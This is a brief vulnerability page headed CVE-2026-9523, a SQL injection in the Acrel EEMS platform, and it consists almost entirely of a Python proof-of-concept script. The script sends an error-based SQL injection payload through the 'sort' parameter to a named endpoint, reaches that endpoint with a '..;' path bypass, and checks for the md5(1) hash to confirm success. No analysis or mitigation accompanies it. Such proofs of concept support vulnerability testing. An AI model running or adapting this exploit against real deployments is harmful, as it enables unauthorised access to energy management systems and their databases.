CVE-2026-9523 Acrel EEMS平台SQL注入漏洞

import requests # Target URL configuration target_url = "http://target-ip:port/SubstationWEBV2/app/..;/calc/getCalcmeterDetailDayListTree" # Payload for SQL Injection testing (Error Based) payload = { "sort": "(SELECT 1 FROM (SELECT COUNT(*),CONCAT(0x7e,md5(1),0x7e,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)" } try: # Send GET request with the malicious payload response = requests.get(target_url, params=payload, timeout=10) # Check if the response indicates a SQL error or successful injection if response.status_code == 200 and "c4ca4238a0b923820dcc509a6f75849b" in response.text: print("[+] Vulnerability exists! SQL Injection successful.") else: print("[-] Vulnerability test failed or not vulnerable.") except Exception as e: print(f"[!] Error occurred: {e}")